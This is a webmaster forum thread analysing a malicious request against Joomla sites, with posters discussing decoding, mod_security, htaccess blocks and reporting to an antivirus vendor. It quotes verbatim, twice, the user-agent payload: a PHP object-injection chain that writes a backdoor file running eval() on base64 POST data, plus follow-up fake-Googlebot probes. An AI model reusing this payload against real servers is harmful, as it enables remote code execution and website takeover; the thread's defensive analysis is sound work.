SimplepieFactory

[aristotle]

This may be the longest UA I've ever seen

Http Code: 403 Date: Jun 30 04:53:03 Http Version: HTTP/1.1 Size in Bytes: 13 
 Referer: - 
 Agent: }__test|O:21:\JDatabaseDriverMysqli\:3:{s:2:\fc\;O:17:\JSimplepieFactory\:0:{}s:21:\\\0\\0\\0disconnectHandlers\;a:1:{i:0;a:2:{i:0;O:9:\SimplePie\:5:{s:8:\sanitize\;O:20:\JDatabaseDriverMysql\:0:{}s:8:\feed_url\;s:234:\file_put_contents($_SERVER[\DOCUMENT_ROOT\].chr(47).\resd.php\,\|=|\\x3C\.chr(63).\php \\x24mujj=\\x24_POST['h'];if(\\x24mujj!=''){\\x24xsser=base64_decode(\\x24_POST['z0']);@eval(\\\\\\\\\x24safedg=\\x24xsser;\\\);}\);JFactory::getConfig();exit;\;s:19:\cache_name_function\;s:6:\assert\;s:5:\cache\;b:1;s:11:\cache_class\;O:20:\JDatabaseDriverMysql\:0:{}}i:1;s:4:\init\;}}s:13:\\\0\\0\\0connection\;b:1;}~\xd9 

Host: Krypt Technologies 
98.126.0.0 - 98.126.255.255
98.126.0.0/16
Type: Corporate 
Assignment: Static IP 
Country: United States
State/Region: California 
City: Orange 

[edited by: keyplyr at 10:41 pm (utc) on Jun 30, 2016]
[edit reason] Please use host range & not call out a private customer who may just be hack victim [/edit]

[lucy24]

the longest UA I've ever seen

I'd call it the dumbest robot-script-writer I've ever seen :) The one that jumped out at me was

\\x3C\.chr(63).\php

:: detour to search logs for string "JDatabaseDriverMysqli" ::

Oh, yeah, thought those sounded familiar. But I never looked closely enough to realize all that garbage was in the UA string; I just assumed it was part of a malformed "GET". Error logs confirm that mod_security didn't take kindly to the UA:

String match "}__test|"

Earliest sighting: 24 December 2015, spread across various sites. Hm. Did some inept CS major's vacation start that day?

Do you ever get lots of them in one day? Mine are never more than four, and I really doubt it's because they are intelligent enough to code for "give up quickly if you meet a 400-class response".

[keyplyr]

I'd call it the dumbest robot-script-writer I've ever seen

It just displayed in the server access log like that. There's more to it.

This is likely the scout. If the intended result is achieved, there will be more to come. Then if the injection is successful, the result would end up somewhere else.

BTW - it is entirely possible for the script injection to be successful even if the server returns a 403. This is among the reasons I've warned to be careful when building custom 403 pages, especially those that contain other files (like images) or site links.

[lucy24]

it is entirely possible for the script injection to be successful

But that success has to be visible somewhere, doesn't it? It's not likely they will succeed with a PUT (meaning you'll see files on your site that weren't there yesterday), but you'll notice if something has a fishy timestamp. ("I haven't changed that include since 2014, so why is it datestamped yesterday?")

:: detour here to figure out, by way of putting my money where my mouth is, what I changed in my footer just last month* ::

Most requests from this UA are only for the root-- including a few asking for // which is interesting in its own right.

:: further investigation ::

Oh, I see why it looked goofy.

file_put_contents($_SERVER[\"DOCUMENT_ROOT\"].chr(47).\"404-bak.php\",\"|=|\\x3C\".chr(63).\"php

It isn't mistyped-attempt-at-escaped-literal-period, it's php-period (i.e. add-to-string) followed by escaped-literal-quotation-mark. But what's the point of a 404-bak.php if your default isn't 404.php in the first place?

That Base64 stuff is wonderfully recursive. The first layer is

$check = $_SERVER['DOCUMENT_ROOT'] . "/tmp/kurd.php" ;
$fp=fopen("$check","w+");
fwrite($fp,base64_decode(

(that sounds as if it's saying "check whether I've been here before" but as we all know I only speak three words of php so I couldn't find the rest) leading to the second layer, which includes the line

$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/session/session.php" ;

and lots of other fun stuff including a new <title> tag that says "Hacked by soandso", some text in comic sans (really) and a bunch of stuff about Kurdistan (really, again), and

function Random($length = 4) {
 $pit = 'abcdefghijklmnopqrstuvwxyz';
 $rands = '';
 for ($i = 0; $i < $length; $i++) {
 $rands .= $pit[rand(0, strlen($pit) - 1)];
 }
 return $rands;
}

Er... isn't that one of those randomizer functions that gets written up in thedailywtf dot com?

(Incidentally, the only reason I've even got a Base64 decoder bookmarked is that a few years ago I had a bunch of files saved as OS 9 resources and I couldn't get them any further than Base64 text. Still had to take a second step to get them from Mac encoding to UTF-8.)


* Answer: I'm not 100% sure-- maybe that's when I changed the exact URL of one link, which I do remember doing after the 11th time the link checker yapped at me about it-- but whatever it was, the copy on my personal HD has the same timestamp so nothing hinky there.

[keyplyr]

The term "script injection" just means that a program was run. Nothing needs to really be "injected." and does not "have to be visible" at all, and may never be. The compromised directory (account) may just be used as a doorway to other resources on that machine, or others in the cluster. Nothing needs to be PUT anywhere.

Depends on what their objective is. Maybe they just want to hide behind your machine's address to do mischief elsewhere. There's a lot of that nowadays.

I'm just playing Devil's Advocate... you may see a parameter like this appended to one of your URLs:

?request=GetCapabilities&service=WCS

This is a probe to gather info about how your server is set up for web services. GetCapabilities is a function that returns metadata about this service. One of the services is WCS, or Web Coverage Service. No file needs to be put on the victims server, but now the perp knows a huge amount of info how that server is set up to connect and operate on the internet. Now he/she knows how to penetrate the machine, or at least one of many possibilities.

[edited by: keyplyr at 2:52 am (utc) on Jul 1, 2016]

[lucy24]

Well, one of the things they look for is a joomla file, which tends to suggest that their point of ingress is joomla-specific. And all that "fopen" and "fwrite" business tends to imply that something not too far away is getting written-to.

:: idly wondering what's the point in having a clearly visible <title> element coupled with saying the same thing in white-on-white (i.e. invisible unless you select it) ::

:: closer look ::

Hah. I think it's a mistake. They said <font color> earlier-- twice, in fact-- but forgot to say </font> before they got around to the white background, not that I perfectly understand why they need to say anything at all about color when that part is in the <head> (there's a form, but they failed signally at making the whole thing invisible, if that was the intention).

:: wandering off to find out what "DisablePHP" means, leading to fascinating discovery that there's a whole family of related exploits using loosely similar visible text, some it predictably happening in WordPress ::

Is the visible-text and flag-waving business intended to make the site owner think that the sole purpose of the hack was to insert some playful nonsense and never go looking any deeper?

GetCapabilities

Yipes.

:: further business with TextWrangler and raw logs ::

Nope, not me-- but they don't have to pester every site, do they? Just one per server. free lookup says there are currently 53 sites on my server. No idea, of course, who they all are.Somehow it doesn't seem like the kind of information a host would divulge. (Roommates? What roommates? You've got the place all to yourself, Mr Box.)

[edited by: lucy24 at 3:02 am (utc) on Jul 1, 2016]

[keyplyr]

Just don't allow anything to be appended. Block all parameters, unless you use them.

[lucy24]

Block all parameters, unless you use them.

Pretty sure I do.

:: detour to refresh memory ::

Oh, right, only for pages.

RewriteCond %{QUERY_STRING} .
RewriteCond %{REQUEST_URI} ^/(.*)
RewriteRule (^|/|\.html)$ http://example.com/%1? [R=301,L]

For php there's a comprehensive THE_REQUEST block. I guess they could get into piwik if they appended their parameters to the correct filename.

In the case of this specific agent-- the one this thread is about-- they've always been intercepted by mod_security. (I don't know exactly how third-party mods work. Requests do show up in access logs and error logs, but they don't get served any content, so I don't know if they actually reach my userspace at all.)

[keyplyr]

You can also block appendages with a custom php.ini. Very useful if you parse html for php but I think you can specify a file or directory (piwik) if it resides at the root.

Otherwise if you use SSI you can block appendages using a small line of code in a CGI script using your language of choice.

"In the case of this specific agent-- the one this thread is about-- they've always been intercepted by mod_security"

Good... but I don't think I've seen it. So they're given a 503? Or a 403 but a server page instead of your error page?

[aristotle]

Update: Later in the day (yesterday) there were two more visits from the exact same IP, but this time with a fake googlebot UA. Here is the record of all three visits:

Host: 98.126.200.xxx 
 / 
 Http Code: 403 Date: Jun 30 04:53:03 Http Version: HTTP/1.1 Size in Bytes: 13 
 Referer: - 
 Agent: }__test|O:21:\JDatabaseDriverMysqli\:3:{s:2:\fc\;O:17:\JSimplepieFactory\:0:{}s:21:\\\0\\0\\0disconnectHandlers\;a:1:{i:0;a:2:{i:0;O:9:\SimplePie\:5:{s:8:\sanitize\;O:20:\JDatabaseDriverMysql\:0:{}s:8:\feed_url\;s:234:\file_put_contents($_SERVER[\DOCUMENT_ROOT\].chr(47).\resd.php\,\|=|\\x3C\.chr(63).\php \\x24mujj=\\x24_POST['h'];if(\\x24mujj!=''){\\x24xsser=base64_decode(\\x24_POST['z0']);@eval(\\\\\\\\\x24safedg=\\x24xsser;\\\);}\);JFactory::getConfig();exit;\;s:19:\cache_name_function\;s:6:\assert\;s:5:\cache\;b:1;s:11:\cache_class\;O:20:\JDatabaseDriverMysql\:0:{}}i:1;s:4:\init\;}}s:13:\\\0\\0\\0connection\;b:1;}~\xd9 


 /wp-content/plugins/Login-wall-etgFB/login_wall.php?login=cmd&z3=cmVzZC5waHA%3d&z4=L3dwLWNvbnRlbnQvcGx 
 Http Code: 404 Date: Jun 30 12:16:27 Http Version: HTTP/1.1 Size in Bytes: 795 
 Referer: www.example.com
 Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 
 

/wp-content/plugins/resd.php 
 Http Code: 404 Date: Jun 30 12:16:28 Http Version: HTTP/1.1 Size in Bytes: 795 
 Referer: http://www.googlebot.com/bot.html 
 Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 

P.S. The 403 response to the first request came from my .htaccess . I don't have a 403 error page, but instead have the following code in my .htaccess:

ErrorDocument 403 "Access Denied"

That's why the size in bytes for the request = 13 bytes

I do have a 404 error page, which is why the last two requests have a size in bytes = 795 bytes

[lucy24]

So they're given a 503? Or a 403 but a server page instead of your error page?

This particular host* has chosen to serve a 418 for mod_security lockouts. I think they started out with some other response, whether 5xx or 403, and then changed to 418.


* On their control panel under Web Options-- the same area where you say what php version to use-- for each individual site, choose the "extra web security" option. You can only choose to enable or not enable; it can't be modified in htaccess (it's how the mod works, not a host decision).

[keyplyr]

Yup, tried the UA myself at "This particular host " and the response was:
418 unused


So I went to that place and found "Extra Web Security?"
It was checked so I assume that's default... whew!
Dodged a military grade assault weapon bullet there!

[lucy24]

.. and now you can tweak your existing 403-checking functions to incorporate 4(03|18) as applicable :) Apart from "}__test|" there's at least one fake MSIE 6 that's comprehensively blocked.

:: memo to self: get in the habit of pulling out 418s so I can check error logs and see what the trigger was ::

[aristotle]

I can't find an option for mod_security in my cPanel (Apache server, shared hosting). I don't know what the situation is with it, except that it apparently didn't block this bot before it got to my own .htaccess, (if I correctly understand what happened).

My cPanel does have an option for something called "Sitelock TrueShield" which "prevents malicious traffic and blocks harmful requests". But this has a fee of $499.99 per year.

[keyplyr]

"Sitelock TrueShield" just may be mod_security. It"s possible your host is using it as an add-on to your hosting plan to generate more income. Pretty cheezy IMO but probably within the ethical boundaries of the server farm world.

You can probably accomplish most, if not all, with htaccess... especially with Lucy's help :)

[aristotle]

Well I tend to doubt that. It seems to me that a hosting company would have a self-interest in protecting its servers from certain types of threats, especially those that most small site owners likely won't be able to block on their own.

[keyplyr]

It depends on how the admins config mod_security. I assume they can protect their servers and also then sell you upgrade levels (as you've said.)

[dstiles]

Aristotle - I would be inclined to submit that to Kaspersky. There is every chance they already know about it but a slim chance they do not, in which case you'll be helping a lot of people.

Important thing, obviously, is to make sure your servers are proof against such attacks, which you all seem to be aware of. :)

Lucy - I think you can get a list of "also on this IP" through robtex.

[aristotle]

I would be inclined to submit that to Kaspersky

I'll try to find time to look into doing this tomorrow or the next day. I've never done it before.

Also, I couldn't follow most of the details of the earlier discussion about what this bot did, or tried to do. So I would appreciate it if someone could summarize it in a simplified way, .

[keyplyr]

I would appreciate it if someone could summarize it in a simplified way

The simple solution is to block 98.126.0.0/16

You can also use Lucy's code to block parameters if you don't use them.

[lucy24]

So I would appreciate it if someone could summarize it in a simplified way.

Short version: it checks whether you've got joomla, and if yes, tries to do evil stuff. The first part is in the UA string (run it through a Base64 decoder twice and it all turns into php). If it succeeds at this stage, it may or may not attempt further and deeper evils.

Part of its generated html involves a hotlinked image. I don't know whether it's an authorized hotlink or not; either way offers food for thought.

I think you can get a list of "also on this IP" through robtex.

Yup, bingo, there they are :) Goodness, what a mixed bag.

[wilderness]

Krypt Tech has certainly expanded their blocks.
In 2009 there a mere four, and today there are 21.

[aristotle]

Thanks for all the help. It looks like I've got quite a bit of work to do to check out Kaspersky and also update the .htaccess for all my sites.

In the meantime I came across a puzzling discrepancy -- I checked my Awstats for all of June to try to see how many visits the site received from Krypt Technologies IPs altogether that month, but the list doesn't show any at all. So according to the logs, there were three visits from there on June 30, but apparently they didn't get recorded in Awstats. So I don't know what happened there.

[aristotle]

P.S. I think I see what happened now. Apparently Awstats doesn't show visits that didn't have any successful page downloads.

[wilderness]

aristotle,
Awstats?
Are those the stats that your host provides with various different tool/options?

If so?
These are a bad replacement for raw logs.
Your host configures the stats to serve their broad-clientele rather than your specific requirements. Frequently that could result in not seeing something you actually need.

[aristotle]

Well I tried to submit it to Kaspersky or rather to Kaspersky Virus Desk. Maybe it worked. The form wouldn't take the IP, but said that it had to be in the form of a URL. So I looked it up again and used http://example.com. The form took it anyway.


Yes I finally downloaded the raw logs for June. The three visits that I noted earlier were the only ones that occurred.